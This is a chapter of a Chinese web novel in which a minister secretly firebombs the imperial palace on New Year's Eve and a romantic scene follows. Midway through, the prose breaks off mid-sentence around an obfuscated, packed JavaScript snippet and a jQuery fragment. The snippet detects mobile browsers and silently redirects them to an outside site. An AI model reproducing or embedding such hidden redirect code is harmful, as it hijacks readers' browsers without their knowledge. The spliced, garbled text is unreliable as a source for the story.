170. 送我一个礼物
作品:《权臣难折(穿书)》 冬季的夜晚沉闷又冗长,尤辜雪见上次实在是请不动燕熹,也就没有接着强求,在岁除当天,她先是在家里备好了酒菜,哄着尤旬喝醉了后,她才领着吃食去了燕府,遵守自己的诺言。
到了门口时,尤辜雪有些愣神,她先前让人挂的红灯笼,此刻全部点亮了,燕熹的府邸其实也算不得多豪华,但胜在雅致,所以,这些红灯笼挂起来的时候,好看的很。
入了府后,她发现府中没有一个下人在,可是整个府邸的灯笼全部都被点燃了,仿佛在这片黑暗里,给这栋建筑勾勒起了形状,着实温馨了不少。
有了灯笼的点缀,尤辜雪在府中行走也算是畅通无阻,只是这个府邸毕竟是有点面积的,她一时找不到人,走的有些累时,想喊人,但是不得不说,中式建筑在黑夜里,是吓人的,她一时间张不开嘴。
尤辜雪前后左右的看了看,找不清路的她开始抓耳挠腮,还是决定要喊人时,冰凉的手被人握住,熟悉的声音从身后传来,肩膀贴上了他的胸膛,沉水香味溢满鼻尖。
“点了灯都能迷路,阿雪,你让我说你什么好?”
燕熹牵着她往前走,尤辜雪看着他的背影略微出神,这家伙貌似不怎么怕冷,这样的冬季,他也只是穿了一件素白的长衫,墨发并未全部束起,而是随它搭在脑后。
他在自己府中的模样,似乎永远都很随性。
随他进了一处阁楼,又把她带上了二楼,那是一个古代版的露天阳台,有几把躺椅和矮几,还种了几盆花点缀,看起来也挺好看的,只是冬天还没有开花。
尤辜雪把吃食放出来,摆在桌面上,有点抱怨道:“这大冷天的,在这吃东西,不会被吹成傻子吗?”
燕熹满不在乎的拿了一旁正温好的酒水,端过来坐下,给她到了一杯酒,说了另外一个话题:“阿雪,近几日来,可有观过天象?”
今夜的月亮不是很亮,但所幸周围的灯笼点的多,倒也不至于看不见,尤辜雪端起酒杯,嗅了一下,味道香的。
“我不会看天象,咋了?你会看?”
“不会。”燕熹诚实的摇头,可是他今日貌似心情不错,笑容丝毫不减,“但是,据钦天监所言,今夜天象会有惊喜,我们一起看看?”
尤辜雪认识他的时间其实不算短的,也知道这个家伙一般不干废事,虽然是她提出来的守岁,可是她并不觉得大冬天的,在这室外吹冷风会有什么好天象,至少她现在就觉得挺衰。
“也不是不行,可是这天乌漆嘛黑的,你确定有惊喜吗?”
除去灯笼的光辉,余下的黑压压一片,不太像有惊喜,倒像是有阿飘的感觉。
“我对你,从不食言。”
燕熹举杯,与她手中的杯盏碰了一下,面上的笑意浅浅,可是黑眸之中的真挚与情愫不减,烫的她心头轻颤,尤辜雪微微微别开目光,耳尖微红,也好在是夜里,看不太清。
二人边吃边聊,相较于燕熹,尤辜雪则是个话痨,她把阿娘走了后,尤旬思念妻子的苦态全部说给他听,说到兴起时,她笑的很幸福,可是笑着笑着,她就又停下了。
自上次系统告诉她,那个世界的她没有死,还有醒来的机会时,她心里的那种无归属,还有与这个世界的割裂感又开始出现了,尤家温馨的氛围,她又觉得与自己无关了。
那种可怕的患得患失的感觉,又来了。
“怎么了?”燕熹也察觉到她情绪上的一些失落,困惑道,“喝多了?”
尤辜雪的眼眶微热,摇头,想要说没事时,一阵冷风吹过,恰好她的鼻子里发酸,就着这个冷意,一连打了两个喷嚏,燕熹的眉头渐蹙,有些无奈的摇头,她穿的其实不算少,喝着热酒还能受凉。
“等着。”他起身去往楼下,“我给你拿件披风。”
尤辜雪的心头一暖,不禁转头,目光追随着他的背影,笑道:“好。”
桌上的菜品都凉了,两个人吃的也不快,尤辜雪想让人去加热一下,可她从进门开始就没有看见过一个下人在,好奇之下朝着楼下大声的问去。
“燕明夷,你府中的人呢?”
燕熹在下面找披风,抽空回答者她的话:“我提前放他们回去了。”
这么说来,倒也是罕见,不是说,他燕府的人要站岗到最后一天吗?怎么燕扒皮也开始同情下人了?
她撇了撇嘴,又喝了一口热酒暖身子,忽而眼角一道光滑过,她不敢相信自己看见了什么,一口酒喝的发呛,匆忙起身站起身,手扶栏杆,仰头眺望,被风吹的通红的小脸上,全是兴奋。
“燕明夷,你快来看,有流星!”
这种百年难得一见的场让她给遇见了,想起来燕熹方才提及,钦天监所说的那个天象,指的就是流星吗?
下一刻,一件绛缎狐肩披从后将她整个人都包裹住了,肩上的白色狐毛柔软亲肤,贴着脸颊极为舒适,燕熹从身后给她系好带子后,又把人紧紧的搂在怀里,习惯性的贴着她的耳尖说话。
“别急,惊喜在后面。”
相比于空荡荡的病床,燕熹的怀抱则显得更加的厚实,她逐渐发现自己是有些沉沦于这种感觉的,尤辜雪侧头抬眸,看向他光洁的下巴,深邃的眉眼里有着难以捉摸的情绪,像是一种报复似的期待,但这种情绪,尤辜雪懂。
他大概率又在算计着谁。
正欲开口询问时,靠近皇宫的方向,那些还算密集的流星里,忽然从黑暗里冒出了一颗特别明亮的流星,它在这一堆的流星里,亮的乍眼,速度极快的滑过天空,尤辜雪眼尖的发现,它居然还有黑色的尾烟,只是那尾烟在黑夜里不明显。
这是什么?
百年难得一遇的陨石降落,也让她遇见了?
可她记得,科教频道里提过,小陨石因为含碳量不高,所以坠落产生黑色尾烟的并不常见,不仅概率低,且不明显,它们通常都是发光尾迹,这么浓厚的黑色尾烟,很明显是古代版的人造火球炸弹啊。
她眯起眼眸,细细的看去,才发现,那颗人造陨石的坠落方向是……皇宫?
夜空中被它撕开一道裂缝,那颗裹着火的“流星”撕裂云层,坠落的轰鸣声迟半拍传来,燕府距离皇宫不是很远,但那砸地的声音传来时,并没有特别大,毕竟不是真的陨石坠落。
不多时,就能看皇宫里的火把在移动,开始救火了。
尤辜雪吃惊的回眸,燕熹从她的眼里看的出来,她已经猜得到,这个东西是他的手笔了,本来也没打算瞒着她,只是想不通,她是如何猜到的?
燕熹勾起唇角,忍不住低头,在她白嫩微凉的面颊上啄吻了一下,求夸奖似的问她:“好玩吗?”
果然是他干的好事!
“好玩个鬼!”尤辜雪气愤的挣脱开他的怀抱,转身面对他,“燕明夷你疯了吗?那是皇帝,你有几条命跟他硬来?”
他本来就因为救自己的原因,让皇帝起疑了,那人在查他,余旧三番五次的禀报这件事,尤辜雪在旁边听的耳朵都要起茧了,这人居然还不怕死的往前凑,生怕皇帝不知道他多有能耐似的。
借天象之说烧寝宫,亏他干的出来!
而她的炸毛,落在燕熹的眼里,明显是在担心他找死,她絮絮叨叨的告诫自己,要小心,要惜命,小嘴噼里啪啦的说了一大堆,秀气的眉头也是越拧越紧,看的他心口愈发的软。
尤辜雪发现自己在这教训了他半天,这人就始终双手环抱胸前,笑吟吟的看她在这嘚不嘚的说,一点没有反思的迹象,尤辜雪都被气笑了,好好地守岁夜,他非要去作死。
“燕明夷,你是真的没救了!”
话毕,她转身就要下楼,除夕守岁,跟这么一个不吉利的东西在一起,尤辜雪发誓,她是真的要被气死了,爱作死就作吧,能杀得了皇帝,也算他燕熹有遗臭万年的本事。
毕竟黑红也是红。
她为何生
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16103692|165329||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气,燕熹心中了然,所以只是微微笑了笑,在她要离开前,伸手握住了她的手腕,把人拉近自己,虎口钳制住她被风吹的发凉的下巴往上抬,低头覆盖了上去。
被酒水浸润过的唇瓣除了软,还带着一股非比寻常的酒香,加之天气冷,她的唇瓣凉的异常绵软,以至于相触的感觉软到似有似无,燕熹心中总觉得空虚不真实,可是被撬开的唇舌间,似有源源不断的甘酒,令人沉醉。
凉酒入喉,并不能解醉降火,反而让人上瘾,心底里的火气愈烧愈旺,凉软的唇瓣像极了夏日里的果饮子,清凉解渴,却又不同于饮子,因为怎么都尝不够,饮子哪有这么让人上瘾的。
相较于这些,让燕熹觉得最为惊喜的一点是,尤辜雪自始至终都没有推开他,那双手只是乖巧的贴在他的心口处,只是她一遇到这种事就紧张,指尖冻的发红的手,紧紧的攥住他的衣衫,虽算不得配合,却是难得的不抵抗。
在他忽然吻上来的那一刻,尤辜雪意外的没有任何想要躲避的冲动,面前火热的身躯似能暖化了周围的寒霜,也能驱散病床的孤寂,唇瓣上辗转的力度适中,连带着她也有些沉沦。
还是那股沉水香的味道充斥着鼻腔,却带来了难以言喻的安心,思绪乱飘间,她无端端的想起他那日坠崖的情景,尤辜雪第一次知道什么叫惊恐到手脚冰凉,也是在那个时候,她才发现,她对他的依赖,其实比想象中的要重。
他对她而言,很重要很重要。
尽管知道燕熹对皇帝的皇宫下手,还是因为她,可是,在这个封建的古代,燕熹就算再厉害,又如何能与皇帝抗衡?与皇权抗争,无异于是在反抗整个时代的制度和法则。
那他的下场会有多惨,可想而知。
那种怕失去的恐惧消散了她的紧张,尤辜雪轻轻的蹙眉,大胆的仰起脖子,主动回应了他,她只是小小的动了一下,却让燕熹有一瞬间的失神,他退开头,不可置信的看着她,深邃的眸子里第一次布满了不属于他的茫然和清澈。
尤辜雪的耳尖发红,她垂下眼睫,轻咬唇内的软肉,被他盯的心乱如麻,便伸手捂住了他的眼睛,掩耳盗铃。
“你……别看了。”
燕熹心情愉悦的笑了几声,拉下她的手,炽热的吻落入掌心,手臂揽过她的腰肢,把人扣进怀里,比以往更轻柔的吻落在她的额头,眼睛,脸颊,唇角,一路往下,又返回下巴处,缠绵厮磨。
“阿雪不用担心。”沙哑的声音混着他越发紊乱的呼吸,徘徊在耳畔,“这事我有分寸。”
这话将尤辜雪有些意乱情迷的思绪给拉了回来,吻势顺势而下,在她的颈侧轻轻的啃食慢咬,异样的酥麻感使得她忍不住微微的缩了一下,他好像特别喜欢咬她的脖子。
“燕……燕明夷……”尤辜雪的声音有些微颤,却鬼使神差地,指尖滑进他未束起的发尾,攥住了一绺墨发,“你……送……唔……送我一个礼物好不好?”
她很少会主动向他开口要什么,燕熹微微抬头,掌心抚上她的后背,把人贴紧自己,紧到可以感受到她的心跳,吻上她耳后的那片肌肤,燕熹的喉结滚动,哑声道:“可以,你想要什么?”
“我想要你的承诺。”耳后的那处肌肤实在是太过于敏感,尤辜雪睁开的眼眸里,蓄满了情动的泪花,“燕明夷……答应我……惜命一些好吗?”
燕熹的身体一僵,还没有回话时,尤辜雪抬手抱住了他的脖颈,下巴搁置在他的颈窝里,轻轻的蹭了蹭。
“我以前做过一个梦,那个梦里,我像是个衰过头的倒霉蛋,活得好累啊,累到我找不到活下去的理由了,但是,我觉得我现在又找到了活着的意义。”
“燕明夷,那个梦里没有什么人需要我,但,你是需要我的,对吧?”
她的声音不大,就像是梦呓一般响在他的耳边,诉说着自己的恐惧,燕熹沉默片刻,侧头嗅着她发间的清香,音色低哑:“对,我需要你。”